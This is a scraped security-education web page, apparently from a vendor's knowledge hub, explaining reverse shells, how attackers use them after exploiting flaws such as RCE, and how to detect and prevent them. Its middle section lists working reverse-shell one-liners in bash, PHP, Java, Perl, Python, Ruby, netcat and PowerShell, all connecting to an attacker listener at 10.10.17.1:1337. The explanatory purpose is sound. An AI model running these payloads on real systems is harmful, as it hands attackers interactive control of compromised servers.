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menu-item-object-hub menu-item-has-children' data-val='Vulnerabilities'><div class="menu-item-block"><a href="https://www.invicti.com/learn/vulnerabilities/">Vulnerabilities</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--1"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Remote Code Execution (RCE): Payloads, Commands & Vulnerabilities'><a href="https://www.invicti.com/learn/remote-code-execution-rce/">Remote Code Execution (RCE): Payloads, Commands & Vulnerabilities</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='OS Command Injection | Payloads, prevention, & attacks'><a href="https://www.invicti.com/learn/os-command-injection/">OS Command Injection | Payloads, prevention, & attacks</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Server-Side Request Forgery (SSRF | Attack Types & Risks'><a href="https://www.invicti.com/learn/server-side-request-forgery-ssrf/">Server-Side Request Forgery (SSRF | Attack Types & Risks</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='What is an SQL Injection (SQLi)? Prevention, Examples, Attacks'><div class="menu-item-block"><a href="https://www.invicti.com/learn/sql-injection-sqli/">What is an SQL Injection (SQLi)? Prevention, Examples, Attacks</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--2"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='In-band SQL injection'><a href="https://www.invicti.com/learn/in-band-sql-injection/">In-band SQL injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Blind SQL injection'><a href="https://www.invicti.com/learn/blind-sql-injection/">Blind SQL injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Out-of-band SQL injection'><a href="https://www.invicti.com/learn/out-of-band-sql-injection-oob-sqli/">Out-of-band SQL injection</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Local file inclusion (LFI)'><a href="https://www.invicti.com/learn/local-file-inclusion-lfi/">Local file inclusion (LFI)</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Remote file inclusion (RFI)'><a href="https://www.invicti.com/learn/remote-file-inclusion-rfi/">Remote file inclusion (RFI)</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Directory traversal'><a href="https://www.invicti.com/learn/directory-traversal-path-traversal/">Directory traversal</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='Cross-Site Scripting (XSS) Vulnerability Guide'><div class="menu-item-block"><a href="https://www.invicti.com/learn/cross-site-scripting-xss/">Cross-Site Scripting (XSS) Vulnerability Guide</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--2"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Stored/persistent cross-site scripting'><a href="https://www.invicti.com/learn/stored-xss-persistent-cross-site-scripting/">Stored/persistent cross-site scripting</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Reflected XSS – Cross-Site Scripting Payloads & Examples'><a href="https://www.invicti.com/learn/reflected-xss-non-persistent-cross-site-scripting/">Reflected XSS – Cross-Site Scripting Payloads & Examples</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='DOM-based cross-site scripting'><a href="https://www.invicti.com/learn/dom-based-cross-site-scripting-dom-xss/">DOM-based cross-site scripting</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Blind cross-site scripting'><a href="https://www.invicti.com/learn/blind-cross-site-scripting/">Blind cross-site scripting</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Cross-site request forgery (CSRF)'><a href="https://www.invicti.com/learn/cross-site-request-forgery-csrf/">Cross-site request forgery (CSRF)</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='XML external entity (XXE) Injection | Attack & Examples'><div class="menu-item-block"><a href="https://www.invicti.com/learn/xml-external-entity-xxe/">XML external entity (XXE) Injection | Attack & Examples</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--2"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Out-of-band XML external entity (OOB XXE)'><a href="https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe/">Out-of-band XML external entity (OOB XXE)</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='CRLF injection'><a href="https://www.invicti.com/learn/crlf-injection/">CRLF injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Email injection'><a href="https://www.invicti.com/learn/email-injection/">Email injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='HTML injection'><a href="https://www.invicti.com/learn/html-injection/">HTML injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='NoSQL injection'><a href="https://www.invicti.com/learn/nosql-injection/">NoSQL injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='JSON Injection'><a href="https://www.invicti.com/learn/json-injection/">JSON Injection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Insecure Direct Object References (IDOR) Vulnerability References'><a href="https://www.invicti.com/learn/insecure-direct-object-references-idor/">Insecure Direct Object References (IDOR) Vulnerability References</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='Unvalidated redirects and forwards'><div class="menu-item-block"><a href="https://www.invicti.com/learn/unvalidated-redirects-and-forwards/">Unvalidated redirects and forwards</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--2"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Open Redirect: Redirection Vulnerability, Payloads, and More…'><a href="https://www.invicti.com/learn/open-redirect-open-redirection/">Open Redirect: Redirection Vulnerability, Payloads, and More…</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Directory Listing | Risks & Vulnerabilities Explained'><a href="https://www.invicti.com/learn/directory-listing/">Directory Listing | Risks & Vulnerabilities Explained</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Password reset poisoning'><a href="https://www.invicti.com/learn/password-reset-poisoning/">Password reset poisoning</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Buffer overflow'><a href="https://www.invicti.com/learn/buffer-overflow-stack-overflow-heap-overflow/">Buffer overflow</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Integer Overflow Guide: Attacks, Examples, Vulnerabilities'><a href="https://www.invicti.com/learn/integer-overflow/">Integer Overflow Guide: Attacks, Examples, Vulnerabilities</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub current-menu-ancestor current-menu-parent menu-item-has-children' data-val='Attacks'><div class="menu-item-block"><a href="https://www.invicti.com/learn/attacks/">Attacks</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--1"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Session Hijacking: Detection, Defense & Prevention'><a href="https://www.invicti.com/learn/session-hijacking/">Session Hijacking: Detection, Defense & Prevention</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='What is a Session Fixation Attack? Vulnerabilities, Prevention, and More'><a href="https://www.invicti.com/learn/session-fixation/">What is a Session Fixation Attack? Vulnerabilities, Prevention, and More</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Session prediction'><a href="https://www.invicti.com/learn/session-prediction/">Session prediction</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Cookie hijacking'><a href="https://www.invicti.com/learn/cookie-hijacking/">Cookie hijacking</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Cookie poisoning'><a href="https://www.invicti.com/learn/cookie-poisoning/">Cookie poisoning</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Clickjacking'><a href="https://www.invicti.com/learn/clickjacking/">Clickjacking</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Forced browsing'><a href="https://www.invicti.com/learn/forced-browsing/">Forced browsing</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='XSS filter evasion'><a href="https://www.invicti.com/learn/xss-filter-evasion/">XSS filter evasion</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Source code disclosure'><a href="https://www.invicti.com/learn/source-code-disclosure/">Source code disclosure</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Host header attacks'><a href="https://www.invicti.com/learn/host-header-attacks/">Host header attacks</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Web Cache Poisoning | Cache Poisoning Attack Explained'><a href="https://www.invicti.com/learn/web-cache-poisoning/">Web Cache Poisoning | Cache Poisoning Attack Explained</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Privilege escalation'><a href="https://www.invicti.com/learn/privilege-escalation/">Privilege escalation</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='What is a Web Shell | Types, Attacks, Detection & Protection'><a href="https://www.invicti.com/learn/web-shell/">What is a Web Shell | Types, Attacks, Detection & Protection</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub current-menu-item' data-val='Reverse shell'><a href="https://www.invicti.com/learn/reverse-shell/">Reverse shell</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Cross-frame scripting (XFS)'><a href="https://www.invicti.com/learn/cross-frame-scripting-xfs/">Cross-frame scripting (XFS)</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Broken link hijacking'><a href="https://www.invicti.com/learn/broken-link-hijacking-blh/">Broken link hijacking</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='SEO poisoning'><a href="https://www.invicti.com/learn/seo-poisoning/">SEO poisoning</a></li> <li class=' menu-item menu-item-type-custom menu-item-object-custom' data-val='Low Orbit Ion Cannon (LOIC)'><a href="https://www.invicti.com/learn/low-orbit-ion-cannon-loic/">Low Orbit Ion Cannon (LOIC)</a></li> <li class=' menu-item menu-item-type-custom menu-item-object-custom' data-val='High Orbit Ion Cannon (HOIC)'><a href="https://www.invicti.com/learn/high-orbit-ion-cannon-hoic/">High Orbit Ion Cannon (HOIC)</a></li> <li class=' menu-item menu-item-type-custom menu-item-object-custom' data-val='Slowloris attack'><a href="https://www.invicti.com/learn/slowloris-attack/">Slowloris attack</a></li> <li class=' menu-item menu-item-type-custom menu-item-object-custom' data-val='R.U.D.Y. attack'><a href="https://www.invicti.com/learn/rudy-attack/">R.U.D.Y. attack</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='Man-in-the-middle attacks (MITM)'><div class="menu-item-block"><a href="https://www.invicti.com/learn/man-in-the-middle-attacks-mitm/">Man-in-the-middle attacks (MITM)</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--2"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='ARP Spoofing Attack: Prevention, Detection, Tools'><a href="https://www.invicti.com/learn/mitm-arp-spoofing/">ARP Spoofing Attack: Prevention, Detection, Tools</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='IP Spoofing (IP Spoofer) | How to, Attacks, Detection, & Solutions'><a href="https://www.invicti.com/learn/mitm-ip-spoofing-ip-address-spoofing/">IP Spoofing (IP Spoofer) | How to, Attacks, Detection, & Solutions</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='DNS Cache Poisoning (DNS Spoofing) – Attack Detection & Prevention'><a href="https://www.invicti.com/learn/mitm-dns-spoofing-dns-cache-poisoning/">DNS Cache Poisoning (DNS Spoofing) – Attack Detection & Prevention</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='HTTP spoofing'><a href="https://www.invicti.com/learn/mitm-https-spoofing-idn-homograph-attack/">HTTP spoofing</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='SSL hijacking'><a href="https://www.invicti.com/learn/mitm-ssl-hijacking/">SSL hijacking</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='SSL stripping'><a href="https://www.invicti.com/learn/mitm-ssl-stripping/">SSL stripping</a></li> </ul> </li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='Protection'><div class="menu-item-block"><a href="https://www.invicti.com/learn/protection/">Protection</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--1"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Same-origin policy (SOP)'><a href="https://www.invicti.com/learn/same-origin-policy-sop/">Same-origin policy (SOP)</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='HTTP Strict Transport Security (HSTS): Example & Fix'><a href="https://www.invicti.com/learn/http-strict-transport-security-hsts/">HTTP Strict Transport Security (HSTS): Example & Fix</a></li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='Cookie security flags'><a href="https://www.invicti.com/learn/cookie-security-flags/">Cookie security flags</a></li> </ul> </li> <li class=' menu-item menu-item-type-post_type menu-item-object-hub menu-item-has-children' data-val='Tools'><div class="menu-item-block"><a href="https://www.invicti.com/learn/tools/">Tools</a><span class="menu-expander"><svg width="10" height="8" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor"/> <path d="M1.175.912 5 4.73 8.825.912 10 2.087l-5 5-5-5L1.175.912Z" fill="currentColor" fill-opacity=".25"/></svg></span></div> <ul class="sub-menu level--1"> <li class=' menu-item menu-item-type-post_type menu-item-object-hub' data-val='What is DAST? A Guide to Dynamic Application Security Testing'><a href="https://www.invicti.com/learn/dynamic-application-security-testing-dast/">What is DAST? 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Malicious hackers often use reverse shells as a means to send commands to a compromised system.</p> <h3 class="wp-block-heading">What is a shell?</h3> <p>A shell is a program that lets users (or other programs) use operating system services. This term is typically used to describe command-line interfaces created for that purpose, such as <em>cmd.exe</em> in Windows, but it can also be used to describe graphical user interfaces (GUIs). The name <em>shell</em> comes from the fact that this is the outer layer of the operating system.</p> <p>Note that many shells are network-enabled (for example, telnet or SSH) and let users send commands to the operating system remotely. Such software is called <em>remote shells</em>.</p> <h2 class="wp-block-heading">How do reverse shells work?</h2> <p>In a typical remote system access scenario, the user has the role of a client, and the target machine acts as a server. The user initiates a remote shell connection while the target system listens for such connections.</p> <p>In the case of a reverse shell, these roles are switched: the target machine initiates the connection to the user while the user’s computer listens for incoming connections on a specified port.</p> <p>Reverse shells are often used by attackers because they are not stopped by the most common firewall configurations. The targeted servers usually allow connections only on specific ports, so, for example, a dedicated web server will only accept connections on ports 80 and 443. This makes it impossible to establish a shell listener on the attacked server. Another reason might be that the server is located behind a NAT (network address translation) layer.</p> <p>On the other hand, firewalls usually do not limit outgoing connections at all, and neither do NATs, so there is nothing to stop an attacker from setting up a server on their own machine and establishing a reverse connection. All the attacker needs is a machine that has a public (routable) IP address and a tool such as netcat to create the listener and bind shell access to it.</p> <h3 class="wp-block-heading">A typical reverse shell attack scenario</h3> <p>Since getting a reverse shell is just one stage of an attack, here is an example chain of events that involves the use of a reverse shell:</p> <ol class="wp-block-list"> <li>The attacker discovers a <a href="https://www.invicti.com/learn/remote-code-execution-rce/">remote code execution (RCE)</a> vulnerability in <em>www.example.com</em> and also establishes that <em>www.example.com</em> lets users upload their own images without testing whether the uploaded file is a valid image.</li> <li>The attacker uploads a Python reverse shell script to <em>www.example.com, </em>disguising it as an image by calling the file <em>test.jpg</em>.</li> <li>The attacker uses the RCE vulnerability to execute the uploaded <em>test.jpg</em> Python script.</li> <li>The <em>test.jpg</em> script establishes a connection to port 80 of the attacker’s machine. The attacker is now able to send shell commands to the <em>www.example.com</em> web server.</li> <li>The attacker can now attempt <a href="https://www.invicti.com/learn/privilege-escalation/">privilege escalation</a>. For example, they may find a vulnerability in the operating system that allows them to gain <em>root</em> access to the server.</li> </ol> <h2 class="wp-block-heading" id="example">Reverse shell examples</h2> <p>Creating a reverse shell is very simple, and you can use a variety of tools and languages to do it. First, you need a listener on your local machine with a public IP. For example, on a Linux machine, all you need is the following netcat command:</p> <pre class="wp-block-code is-style-code-highlighter language-bash"><code>ncat -l -p 1337</code></pre> <p>This establishes the listener on TCP port 1337. Let’s assume the user’s machine is available at the IP address 10.10.17.1. Here’s a selection of one-liners that you can execute on the compromised target machine to create a reverse shell connection with the attacker’s machine.</p> <h3 class="wp-block-heading">Bash reverse shell</h3> <p>The simplest method is to use bash, which is available on almost all Linux machines. This script was tested on Ubuntu 18.04, but not all versions of bash support this function:</p> <pre class="wp-block-code is-style-code-highlighter language-bash"><code>/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1</code></pre> <h3 class="wp-block-heading">PHP reverse shell</h3> <p>If the target machine is a web server that supports PHP, this language will be an excellent choice for a reverse shell:</p> <pre class="wp-block-code is-style-code-highlighter language-php"><code>php -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'</code></pre> <p>If this does not work, you can try replacing &3 with consecutive file descriptors. Another option for PHP is to <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell" target="_blank" rel="noopener">download and execute a more complex script developed by pentestmonkey</a>.</p> <h3 class="wp-block-heading">Java reverse shell</h3> <p>If the target machine uses Java, try the following simple example:</p> <pre class="wp-block-code is-style-code-highlighter language-java"><code>r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()</code></pre> <h3 class="wp-block-heading">Perl reverse shell</h3> <p>Perl is another good candidate for a reverse shell on a web server:</p> <pre class="wp-block-code is-style-code-highlighter language-perl"><code>perl -e 'use Socket;$i="10.10.17.1";$p=1337; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/sh -i");};'</code></pre> <h3 class="wp-block-heading">Python reverse shell</h3> <p>Python is commonly used on production systems, so it may be another option for a reverse shell:</p> <pre class="wp-block-code is-style-code-highlighter language-python"><code>python -c 'import socket,subprocess,os; s=socket.socket(<a href="http://socket.af/">socket.AF</a>_INET,socket.SOCK_STREAM); s.connect(("10.10.17.1",1337)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'</code></pre> <h3 class="wp-block-heading">Ruby reverse shell</h3> <p>While Ruby is not as common as the other languages, it also makes it possible to create a reverse shell:</p> <pre class="wp-block-code is-style-code-highlighter language-ruby"><code>ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337"); while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';</code></pre> <p>or</p> <pre class="wp-block-code is-style-code-highlighter language-ruby"><code>ruby -rsocket -e'f=TCPSocket.open("10.0.17.1",1337).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</code></pre> <h3 class="wp-block-heading">Netcat reverse shell</h3> <p>Netcat is rarely available on production servers, but if all else fails, the attacker can try the following:</p> <pre class="wp-block-code is-style-code-highlighter language-bash"><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.1 1337 >/tmp/f</code></pre> <h3 class="wp-block-heading">Powershell reverse shell</h3> <p>On Windows machines, you can even create a reverse shell using Powershell. Here’s an example developed by <a href="http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html" target="_blank" rel="noopener">Nikhil SamratAshok Mittal</a>.</p> <pre class="wp-block-code is-style-code-highlighter language-powershell"><code>$sm=(New-Object Net.Sockets.TCPClient("10.10.17.1",1337)).GetStream(); [byte[]]$bt=0..255|%{0}; while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i); $st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1)); $sm.Write($st,0,$st.Length)}</code></pre> <h3 class="wp-block-heading">More reverse shells</h3> <p>For an impressive list of reverse shell payloads, you can refer to the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" target="_blank" rel="noopener">Reverse Shell Cheat Sheet</a> maintained by <a href="https://twitter.com/pentest_swissky" target="_blank" rel="noopener">Swissky</a> on GitHub.</p> <h2 class="wp-block-heading" id="detect">How to detect reverse shells?</h2> <p>Since reverse shells can use encrypted connections and the scripts can be created in so many different languages, there is no simple way to detect whether your system has a reverse shell running. You need detailed forensics, including an audit of all outgoing connections as well as all executable code and scripts in the system. Well-known reverse shell code may be detected by the use of signatures, but professional black-hat hackers create custom scripts to evade signature-based detection. Your best bet is, therefore, to focus on preventing attackers from installing a reverse shell on your system in the first place.</p> <h2 class="wp-block-heading" id="prevent">How to prevent reverse shell use?</h2> <p>In general, a reverse shell is not necessarily malicious and can also be used for legitimate purposes, for example, remote server administration. If you don’t need to use reverse shells, you can try to restrict the available options for creating them, but it is very difficult:</p> <ul class="wp-block-list"> <li>You can impose strict control of outgoing connections using a firewall. However, this is only possible for very specialized servers, and there is nothing to stop the attacker from opening a listener on a common port such as 80. In such a case, all TCP and UDP connections would also have to be monitored for malicious content.</li> <li>You can disable most tools that would make it possible to create a reverse shell on the local host, but – again – this is only possible for very specialized servers. As shown above, reverse shells can be created using many different tools and languages, so at best, you will only make an attacker’s job a bit more difficult.</li> </ul> <p>Even if you succeed in avoiding reverse shells, there are other methods that attackers can use to establish similar control over a system. For example, in some cases, they can use <a href="https://www.invicti.com/learn/web-shell/">web shells</a> instead.</p> <h2 class="wp-block-heading" id="avoid">How to avoid attacks based on reverse shells?</h2> <p>Since preventing the use of reverse shells is very difficult and not bulletproof, the best way to avoid having a reverse shell installed on your server is to make sure the server is not susceptible to initial attacks. And the most common attacks that lead to the attacker installing a reverse shell are web attacks that exploit vulnerabilities such as remote code execution (RCE), <a href="https://www.invicti.com/learn/local-file-inclusion-lfi/">local file inclusion (LFI)</a>, <a href="https://www.invicti.com/learn/remote-file-inclusion-rfi/">remote file inclusion (RFI)</a>, <a href="https://www.invicti.com/learn/sql-injection-sqli/">SQL injection</a>, and others.</p> <p>Therefore, the best way to avoid attacks that involve reverse shells is to prevent web vulnerabilities – and the best way to do that is to include vulnerability checks in the software development lifecycle through the use of <a href="https://www.invicti.com/learn/dynamic-application-security-testing-dast/">DAST</a> and <a href="https://www.invicti.com/learn/software-composition-analysis-sca/">SCA</a> tools with proper <a href="https://www.invicti.com/learn/vulnerability-management/">vulnerability management</a>.</p> <h2 class="wp-block-heading">Frequently asked questions</h2> <div class="invicti-block accordion style-one" id="accordion_67b50025b4f02"> <div class="accordion-section"> <h4 class="accordion-heading">What is a reverse shell?</h4> <div class="accordion-text-holder"> <div class="accordion-text"><p>A reverse shell is a script or executable program that allows interactive shell access to a system through an outgoing connection from that system. Malicious hackers often use reverse shells as a means to send commands to a compromised system. Reverse shells perform a similar function to web shells.</p> <p> </p> <p><a href="https://www.invicti.com/learn/web-shell/">Learn more about web shells.</a></p> </div> </div> </div> <div class="accordion-section"> <h4 class="accordion-heading">Are reverse shells dangerous?</h4> <div class="accordion-text-holder"> <div class="accordion-text"><p>Reverse shells are often the result of a successful attack that exploits a web vulnerability. They can be extremely dangerous, as they allow attackers to maintain a persistent presence and develop their attack further, for example, by elevating their privileges.</p> <p> </p> <p><a href="https://www.invicti.com/learn/privilege-escalation/">Read more about privilege escalation and privilege elevation.</a></p> </div> </div> </div> <div class="accordion-section"> <h4 class="accordion-heading">How to avoid reverse shells?</h4> <div class="accordion-text-holder"> <div class="accordion-text"><p>Preventing the use of reverse shells once installed is very difficult, so the best way to avoid having a reverse shell installed in the first place is to make sure your server is not susceptible to initial attacks against vulnerabilities such as RCE, LFI, RFI, and SQLi. And the best way to do that is to include vulnerability checks in the software development lifecycle through the use of DAST and SCA tools with proper vulnerability management.</p> <p> </p> <p><a href="https://www.invicti.com/support/invicti-quick-start-guide/">Find out how to use Invicti to prevent web vulnerabilities.</a></p> </div> </div> </div> </div> <h2 class="wp-block-heading">Related blog posts</h2> <ul class="wp-block-list"> <li><a href="https://www.invicti.com/blog/web-security/understanding-reverse-shells/">What are reverse shells?</a></li> </ul> <hr class="wp-block-separator has-css-opacity is-style-wide" /> <p></p> <p class="has-small-font-size"><em><a href="https://www.invicti.com/learn/about/">Written by: Tomasz Andrzej Nidecki, reviewed by: Aleksei Tiurin</a></em></p> </main> </div> </div> <footer class="site-footer"> <div class="container primary-footer"> <div class="company-info-wrapper"> <figure> <img class="logo-icon footerlogo" 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e={value:null,prev:null,next:null},n={value:null,prev:e,next:null};e.next=n,this.head=e,this.tail=n,this.length=0}function u(e,n,t){var r=n.next,a={value:t,prev:n,next:r};return n.next=a,r.prev=a,e.length++,a}function c(e,n,t){for(var r=n.next,a=0;a<t&&r!==e.tail;a++)r=r.next;n.next=r,r.prev=n,e.length-=a}if(e.Prism=a,i.stringify=function e(n,t){if("string"==typeof n)return n;if(Array.isArray(n)){var r="";return n.forEach((function(n){r+=e(n,t)})),r}var i={type:n.type,content:e(n.content,t),tag:"span",classes:["token",n.type],attributes:{},language:t},l=n.alias;l&&(Array.isArray(l)?Array.prototype.push.apply(i.classes,l):i.classes.push(l)),a.hooks.run("wrap",i);var o="";for(var s in i.attributes)o+=" "+s+'="'+(i.attributes[s]||"").replace(/"/g,""")+'"';return"<"+i.tag+' class="'+i.classes.join(" ")+'"'+o+">"+i.content+"</"+i.tag+">"},!e.document)return e.addEventListener?(a.disableWorkerMessageHandler||e.addEventListener("message",(function(n){var t=JSON.parse(n.data),r=t.language,i=t.code,l=t.immediateClose;e.postMessage(a.highlight(i,a.languages[r],r)),l&&e.close()}),!1),a):a;var g=a.util.currentScript();function f(){a.manual||a.highlightAll()}if(g&&(a.filename=g.src,g.hasAttribute("data-manual")&&(a.manual=!0)),!a.manual){var h=document.readyState;"loading"===h||"interactive"===h&&g&&g.defer?document.addEventListener("DOMContentLoaded",f):window.requestAnimationFrame?window.requestAnimationFrame(f):window.setTimeout(f,16)}return a}(_self);"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism); 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s={};s["language-"+e]={pattern:/(^<!\[CDATA\[)[\s\S]+?(?=\]\]>$)/i,lookbehind:!0,inside:Prism.languages[e]},s.cdata=/^<!\[CDATA\[|\]\]>$/i;var t={"included-cdata":{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,inside:s}};t["language-"+e]={pattern:/[\s\S]+/,inside:Prism.languages[e]};var n={};n[a]={pattern:RegExp("(<__[^>]*>)(?:<!\\[CDATA\\[(?:[^\\]]|\\](?!\\]>))*\\]\\]>|(?!<!\\[CDATA\\[)[^])*?(?=</__>)".replace(/__/g,(function(){return 